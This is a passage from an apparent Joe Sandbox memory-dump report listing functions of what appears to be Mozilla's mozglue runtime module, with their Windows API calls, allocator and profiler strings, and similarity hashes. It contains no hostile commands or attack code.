AreDpiAwarenessContextsEqual, xrefs: 6C555637
SetWindowPos, xrefs: 6C5556F7
CreateWindowExW, xrefs: 6C5556C5
FillRect, xrefs: 6C555729
user32, xrefs: 6C555601
LoadCursorW, xrefs: 6C555774
gdi32, xrefs: 6C55560A
GetWindowDC, xrefs: 6C555710
GetSystemMetricsForDpi, xrefs: 6C555677
GetMonitorInfoW, xrefs: 6C5557A2
MonitorFromWindow, xrefs: 6C55578D
StretchDIBits, xrefs: 6C5557CC
ReleaseDC, xrefs: 6C555742
GetThreadDpiAwarenessContext, xrefs: 6C55562D
GetDpiForWindow, xrefs: 6C555690
SetWindowLongPtrW, xrefs: 6C5557B7
CreateSolidBrush, xrefs: 6C5557E4

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 1fe634495d204737201ad331adff49752073cd59cc0e056441938bca7f9da69c
Instruction ID: b03e4c00a3bd4540b07b30f78321714861071891b606ea8d165c534cdfb5a200
Opcode Fuzzy Hash: 1fe634495d204737201ad331adff49752073cd59cc0e056441938bca7f9da69c
Instruction Fuzzy Hash: C15149707117225BDB02EF35CD589263AF8AB072497A24526ED11E2B52EF74C890CF74

Function 6C5534A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C55355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5535BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5535E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C55363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5536CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C55373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C55378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5538BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5539EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C553EE2

Part of subcall function 6C556180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5561DD
Part of subcall function 6C556180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C55622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5540F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C55412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C554157

Part of subcall function 6C556180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C556250
Part of subcall function 6C556180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C556292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C55441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C554448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C55484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C554863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C554878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C554896
free.MOZGLUE ref: 6C55489F

Strings

, xrefs: 6C554CD2

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 11116d4e865114b86a9e06eb688df2ab4f753da20410a756931e0437aef0401c
Instruction ID: 86582b5eafe3c0172a26ac0a48c51d41f1fd1fa8cb258c14dee2579f594b8528
Opcode Fuzzy Hash: 11116d4e865114b86a9e06eb688df2ab4f753da20410a756931e0437aef0401c
Instruction Fuzzy Hash: 39F24B74908B80CFC725CF29C48469AFBF1BFC9318F518A5ED98997721DB319896CB42

Function 6C53F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C53F09B

Part of subcall function 6C515B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5156EE,?,00000001), ref: 6C515B85
Part of subcall function 6C515B50: EnterCriticalSection.KERNEL32(6C57F688,?,?,?,6C5156EE,?,00000001), ref: 6C515B90
Part of subcall function 6C515B50: LeaveCriticalSection.KERNEL32(6C57F688,?,?,?,6C5156EE,?,00000001), ref: 6C515BD8
Part of subcall function 6C515B50: GetTickCount64.KERNEL32 ref: 6C515BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C53F0AC

Part of subcall function 6C515C50: GetTickCount64.KERNEL32 ref: 6C515D40
Part of subcall function 6C515C50: EnterCriticalSection.KERNEL32(6C57F688), ref: 6C515D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C53F0BE

Part of subcall function 6C515C50: __aulldiv.LIBCMT ref: 6C515DB4
Part of subcall function 6C515C50: LeaveCriticalSection.KERNEL32(6C57F688), ref: 6C515DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C53F155
GetCurrentThreadId.KERNEL32 ref: 6C53F1E0
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F1ED
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F212
GetCurrentThreadId.KERNEL32 ref: 6C53F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C53F248
GetCurrentThreadId.KERNEL32 ref: 6C53F2AE
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F2BB
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F2F8

Part of subcall function 6C52CBE8: GetCurrentProcess.KERNEL32(?,6C4F31A7), ref: 6C52CBF1
Part of subcall function 6C52CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4F31A7), ref: 6C52CBFA

Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C504A68), ref: 6C53945E
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C539470
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C539482
Part of subcall function 6C539420: __Init_thread_footer.LIBCMT ref: 6C53949F

GetCurrentThreadId.KERNEL32 ref: 6C53F350
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F35D
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F381
GetCurrentThreadId.KERNEL32 ref: 6C53F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53F3A0
GetCurrentThreadId.KERNEL32 ref: 6C53F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53F491

Part of subcall function 6C5394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5394EE
Part of subcall function 6C5394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C539508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C53F3CF

Part of subcall function 6C53F070: GetCurrentThreadId.KERNEL32 ref: 6C53F440
Part of subcall function 6C53F070: AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F44D
Part of subcall function 6C53F070: ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C53F4A8
GetCurrentThreadId.KERNEL32 ref: 6C53F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53F561
GetCurrentThreadId.KERNEL32 ref: 6C53F577
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F585
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C53F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C53F499
[I %d/%d] profiler_resume, xrefs: 6C53F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C53F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C53F3A8

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: cc9d2f837744930f32b2b068a546c6e3048c9e6dd44ccfb0d63ff30b93710e5d
Instruction ID: 44610cdc43626ad3ac69846adba919a71b6d412d98d057b9c44402ba997c550d
Opcode Fuzzy Hash: cc9d2f837744930f32b2b068a546c6e3048c9e6dd44ccfb0d63ff30b93710e5d
Instruction Fuzzy Hash: 92D12671604230DFDB11EF28DC0879977F5EB86328F110759E95983B81EB31589887BA

Function 6C5064C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5064DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5064F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C506505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C506518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C50652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C50671C
GetCurrentProcess.KERNEL32 ref: 6C506724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C50672F
GetCurrentProcess.KERNEL32 ref: 6C506759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C506764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C506A80
GetSystemInfo.KERNEL32(?), ref: 6C506ABE
__Init_thread_footer.LIBCMT ref: 6C506AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C506AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C506AF7

Strings

user32.dll, xrefs: 6C506526
detoured.dll, xrefs: 6C5064DA
nvd3d9wrap.dll, xrefs: 6C506500
nvdxgiwrap.dll, xrefs: 6C506513
_etoured.dll, xrefs: 6C5064ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C506798

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 3433219ee6ebf8f88def6baaba37d0c4813ab0422ceb95bb4a42e9da743e07e3
Instruction ID: 4e839e2d8705145ba3f11fdf780acb17a23e5e43352159608024332ce6ec88ea
Opcode Fuzzy Hash: 3433219ee6ebf8f88def6baaba37d0c4813ab0422ceb95bb4a42e9da743e07e3
Instruction Fuzzy Hash: BFF1A070A057299FDB20DF24CD48B9AB7B5AF45318F144299DC09E7A41DB31AEC4CFA1

Function 6C51D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C51D904
LeaveCriticalSection.KERNEL32(?), ref: 6C51D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C51D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C51E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C51E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C51E315
AcquireSRWLockExclusive.KERNEL32(6C57E804), ref: 6C51E37C
GetSystemInfo.KERNEL32(?), ref: 6C51E3C7
__Init_thread_footer.LIBCMT ref: 6C51E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C57E810,00000040), ref: 6C51E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E7B8,00001388), ref: 6C51E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E744,00001388), ref: 6C51E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E784,00001388), ref: 6C51E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E7DC,00001388), ref: 6C51E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C57E768,00001388), ref: 6C51E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C51E52E
ReleaseSRWLockExclusive.KERNEL32(6C57E804), ref: 6C51E54F

Part of subcall function 6C50D960: EnterCriticalSection.KERNEL32(?), ref: 6C50D999
Part of subcall function 6C50D960: EnterCriticalSection.KERNEL32(6C57E7B8), ref: 6C50DA13

Strings

<jemalloc>, xrefs: 6C51E61C, 6C51E6CC
MOZ_CRASH(), xrefs: 6C51E62B
: (malloc) Unsupported character in malloc options: ', xrefs: 6C51E6DD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C51E560, 6C51E58A, 6C51E5A5
MALLOC_OPTIONS, xrefs: 6C51E3FF
Compile-time page size does not divide the runtime one., xrefs: 6C51E621

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 867ad431492278303b4173487b59b2e67fa301bfe7d3b383df5d056725cca335
Instruction ID: db4747d71ef6d5786e0f5dada07fd99d64f3f62136d6da08d85d056406a5d356
Opcode Fuzzy Hash: 867ad431492278303b4173487b59b2e67fa301bfe7d3b383df5d056725cca335
Instruction Fuzzy Hash: 6092AE71A097118FE715CF28CC48715BBE1BF86328F19866DE8698BB91D3B5E841CBC1

Function 6C55C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C55C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C55C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C55C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C55C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C55C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C55CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C55CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C55DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C55DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C55DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C55DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C55DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C55E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C55E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C55E472

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 4e7490b1dbf87b0b7eabd05c914a9f2067029b4df284fa2c7466a95a179a61b3
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7B33CF72E0021ACFCB04CF98C8806ADBBF2FF89310F69466AD855AB755D335B955CB90

Function 6C51ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C51EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C51EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C521695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5216B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C521770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C521A3E

Strings

~qOl, xrefs: 6C51ED10
~qOl, xrefs: 6C51ED13

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qOl$~qOl
API String ID: 3693777188-2861594083
Opcode ID: 80e81c7e54426bf2e1f1d00fad63d6b769e796442067d70f41e9099b53fc2f60
Instruction ID: cf9d4ee0ba11cb0c024630e3b040a461f1f5cb4a1b565091d2ac68bad87636fd
Opcode Fuzzy Hash: 80e81c7e54426bf2e1f1d00fad63d6b769e796442067d70f41e9099b53fc2f60
Instruction Fuzzy Hash: F9B32871E042198FDB14CFA8C890A9DB7F2FF89304F1582A9D449AB785D735AD86CF90

Function 6C50FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C57E7B8), ref: 6C50FF81
LeaveCriticalSection.KERNEL32(6C57E7B8), ref: 6C51022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C510240
EnterCriticalSection.KERNEL32(6C57E768), ref: 6C51025B
LeaveCriticalSection.KERNEL32(6C57E768), ref: 6C51027B

Strings

<jemalloc>, xrefs: 6C510D62, 6C510D76, 6C510DA7
: (malloc) Error in VirtualFree(), xrefs: 6C510D67, 6C510D7B, 6C510DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C50FE99, 6C50FEB7, 6C50FED3, 6C510DB8, 6C510DD3, 6C5119B4

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 4e5c56353d34cfae4171903e7d550da6f09b487ee08e0e4824e635d1ce1a5397
Instruction ID: 8b96721863878ea9287843d32f9c76aad7eff04e0ddda974c19fa1ba074b6d25
Opcode Fuzzy Hash: 4e5c56353d34cfae4171903e7d550da6f09b487ee08e0e4824e635d1ce1a5397
Instruction Fuzzy Hash: 84C2AE71A097418FE714CF29C884716BBE1BFC5328F28CA6DE4698BB95D771E841CB81

Function 6C55E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C55E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C55EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C55EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C55EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C55F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C55F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C560E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C560E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C560EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C560ED4

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 9d650a75efd53c21eddccd43026f503c53eab70f35612eb5ec23ab60c2f6369e
Instruction ID: 3568db817ee01ad50eda59bc7f8895c6b3da659fa72b9faa98bf669d008f0f92
Opcode Fuzzy Hash: 9d650a75efd53c21eddccd43026f503c53eab70f35612eb5ec23ab60c2f6369e
Instruction Fuzzy Hash: 83639071E0025ACFCB04CFA9C8905EDFBB2FF89310F69826AD855AB755D730A945CB90

Function 6C533E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C557770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Sl,?,?,?,6C533E7D,?,?), ref: 6C55777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C533F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C533F5C
VerSetConditionMask.NTDLL ref: 6C533F8D
VerSetConditionMask.NTDLL ref: 6C533F99
VerSetConditionMask.NTDLL ref: 6C533FA0
VerSetConditionMask.NTDLL ref: 6C533FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C533FB4

Strings

nvinit.dll, xrefs: 6C534479
nvd3d9wrap.dll, xrefs: 6C534466
C>Sl, xrefs: 6C533E93

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Sl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-1005317212
Opcode ID: 83d0bab850a7b7f49f9b8ebceb69c1843755b6120b50e6c54d1e6e0b1a3535af
Instruction ID: 29d5124664b2d6fec8ebaffa2d10f45ba13ac67a22301d37c44f4d955899e7c2
Opcode Fuzzy Hash: 83d0bab850a7b7f49f9b8ebceb69c1843755b6120b50e6c54d1e6e0b1a3535af
Instruction Fuzzy Hash: B652E172610B488FD715DF35CD80AAB7BE9AF85208F64096DD496CBB42DB34F909CB60

Function 6C50FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

